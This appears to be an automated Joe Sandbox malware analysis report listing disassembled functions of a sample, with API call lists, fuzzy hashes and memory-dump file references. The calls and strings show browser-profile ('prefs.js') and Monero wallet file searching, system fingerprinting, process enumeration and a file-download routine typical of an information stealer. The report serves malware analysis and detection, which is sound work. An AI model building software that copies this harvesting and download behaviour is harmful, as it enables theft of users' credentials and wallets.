Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 54fc17545b52d93978d993d550b577dfeff284a4154ff722087c491fa84e92e1
Instruction ID: f51c021c4a73e40c23303aeb57e936cf04f791b52331c2525a653885b5f3cec0
Opcode Fuzzy Hash: 54fc17545b52d93978d993d550b577dfeff284a4154ff722087c491fa84e92e1
Instruction Fuzzy Hash: A3B13371A00209DBEB25FF60DC95FEE7379AF64300F4085A8958A97194EF346B49CF91

Function 00FF16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0101510C,?,?,?,010151B4,?,?,00000000,?,00000000), ref: 00FF1923
StrCmpCA.SHLWAPI(?,0101525C), ref: 00FF1973
StrCmpCA.SHLWAPI(?,01015304), ref: 00FF1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00FF1D40
DeleteFileA.KERNEL32(00000000), ref: 00FF1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00FF1E20
FindClose.KERNEL32(000000FF), ref: 00FF1E32

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

Strings

\*.*, xrefs: 00FF17F1

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 306dbf7ec9b9973bf2babff802a2348328026ee966046161b70bea3efc09782c
Instruction ID: 85de402a5d5259f2ac0153dabeb4fc47fdde89d5df418d0395cf814bb94377e4
Opcode Fuzzy Hash: 306dbf7ec9b9973bf2babff802a2348328026ee966046161b70bea3efc09782c
Instruction Fuzzy Hash: F712D075A10219DBEB56FB60DC94EEE7378AF64300F404199A58A670D0EF746F89CFA0

Function 01008100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0087F3C8,00000000,?,01010E2C,00000000,?,00000000), ref: 01008130
RtlAllocateHeap.NTDLL(00000000), ref: 01008137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 01008158
__aulldiv.LIBCMT ref: 01008172
__aulldiv.LIBCMT ref: 01008180
wsprintfA.USER32 ref: 010081AC

Strings

@, xrefs: 0100814D
%d MB, xrefs: 010081A3

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 8f5bbd7b9fb6d30d794768d2f82d77b82b6c28537cf5144f5a90b4b1e52c07a2
Instruction ID: edf53c772a5b2550dd36049843d98dbc57557bf3e758c6d538d4cde05d235e45
Opcode Fuzzy Hash: 8f5bbd7b9fb6d30d794768d2f82d77b82b6c28537cf5144f5a90b4b1e52c07a2
Instruction Fuzzy Hash: 1F214AB1E44208ABEB10DFD4DC49FAEBBB8FB44B10F104219F645BB2C4C77869008BA5

Function 00FFDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,010114B0,01010C2A), ref: 00FFDAEB
StrCmpCA.SHLWAPI(?,010114B4), ref: 00FFDB33
StrCmpCA.SHLWAPI(?,010114B8), ref: 00FFDB49
FindNextFileA.KERNELBASE(000000FF,?), ref: 00FFDDCC
FindClose.KERNEL32(000000FF), ref: 00FFDDDE

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 9036ddcc5a52bb2ff56e9cc13a3f5bdcc020fa6f71a44bebf56c39ce9543ca56
Instruction ID: c0951c58ca9d7222c39c7b6f3941dd8d0e790f6deb46d0ebc07b1967d74a206d
Opcode Fuzzy Hash: 9036ddcc5a52bb2ff56e9cc13a3f5bdcc020fa6f71a44bebf56c39ce9543ca56
Instruction Fuzzy Hash: 4C912472A00209D7DB15FB70EC59EFD737DAFA4300F408568A98A97194EF349B0D9B91

Function 00FF60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0100A7E6

Part of subcall function 00FF47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FF4839
Part of subcall function 00FF47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00FF4849

InternetOpenA.WININET(01010DF7,00000001,00000000,00000000,00000000), ref: 00FF610F
StrCmpCA.SHLWAPI(?,0087FE88), ref: 00FF6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00FF618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00FF61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 00FF61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00FF620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00FF6249
InternetCloseHandle.WININET(?), ref: 00FF6253
InternetCloseHandle.WININET(00000000), ref: 00FF6260

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 56345fa0e24b7e32319d7a18ab5ab303201ba859069f151470e0cc58663f2b35
Instruction ID: 567d7990e69be3b0f8780f624c4b45046cce138f2fd593d5c15b0ecd1d2d7a4e
Opcode Fuzzy Hash: 56345fa0e24b7e32319d7a18ab5ab303201ba859069f151470e0cc58663f2b35
Instruction Fuzzy Hash: 84514CB1A00218ABEF24DB50DC49BEE77B8EF44705F1080A8A646E71C4DB746A89DF94

Function 01007B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

GetKeyboardLayoutList.USER32(00000000,00000000,010105AF), ref: 01007BE1
LocalAlloc.KERNEL32(00000040,?), ref: 01007BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 01007C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 01007C62
LocalFree.KERNEL32(00000000), ref: 01007D22

Strings

/ , xrefs: 01007C7F

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: e44b0bc819153edc9ea71da33178dc596861b042516fdc9f58d6a5039cb41c2f
Instruction ID: badf8168a4f3360b944052f8533888ae318d2f06be4b117898c7eae3424e6219
Opcode Fuzzy Hash: e44b0bc819153edc9ea71da33178dc596861b042516fdc9f58d6a5039cb41c2f
Instruction Fuzzy Hash: B2412A71A40219EBEB25DB94DC98FEEB7B8FB54700F104199E14AA7180DB342F85CFA0

Function 00FFE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0100A740: lstrcpy.KERNEL32(01010E17,00000000), ref: 0100A788

Part of subcall function 0100A920: lstrcpy.KERNEL32(00000000,?), ref: 0100A972
Part of subcall function 0100A920: lstrcat.KERNEL32(00000000), ref: 0100A982

Part of subcall function 0100A9B0: lstrlen.KERNEL32(?,0087A7F0,?,\Monero\wallet.keys,01010E17), ref: 0100A9C5
Part of subcall function 0100A9B0: lstrcpy.KERNEL32(00000000), ref: 0100AA04
Part of subcall function 0100A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0100AA12

Part of subcall function 0100A8A0: lstrcpy.KERNEL32(?,01010E17), ref: 0100A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,01010D73), ref: 00FFE4A2
StrCmpCA.SHLWAPI(?,010114F8), ref: 00FFE4F2
StrCmpCA.SHLWAPI(?,010114FC), ref: 00FFE508
FindNextFileA.KERNEL32(000000FF,?), ref: 00FFEBDF

Strings

\*.*, xrefs: 00FFE44D

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: 0ed6176cb00d76e858266d3335ae51f7e25792558d555bc5752e5b9a3c8d36f4
Instruction ID: 61501fa770ffc68648f9b795dfb49909ea11df0914c374754c15f6f3da14f74c
Opcode Fuzzy Hash: 0ed6176cb00d76e858266d3335ae51f7e25792558d555bc5752e5b9a3c8d36f4
Instruction Fuzzy Hash: 72122371B10219DAEB16FB70DD95EED7338AF64300F4041A9A58A970D0EF346F49CBA1

Function 01009600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0100961E
Process32First.KERNEL32(01010ACA,00000128), ref: 01009632
Process32Next.KERNEL32(01010ACA,00000128), ref: 01009647
StrCmpCA.SHLWAPI(?,00000000), ref: 0100965C
CloseHandle.KERNEL32(01010ACA), ref: 0100967A

Memory Dump Source

Source File: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FF0000, based on PE: true

Associated: 00000000.00000002.2267141692.0000000000FF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000104A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001075000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001078000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000107F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001082000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000010FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.000000000110B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.0000000001195000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.000000000124E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014C8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2267707228.0000000001505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268034212.0000000001506000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268183835.00000000016B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2268207314.00000000016B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ff0000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: a7ca88999480a45b562e1b7878bba8fee2412accbf01035073021153f0be853a
Instruction ID: fc6632bb3211cb83fcea9df360aecb91b23ca336348e6983acb6f4731f975d56
Opcode Fuzzy Hash: a7ca88999480a45b562e1b7878bba8fee2412accbf01035073021153f0be853a
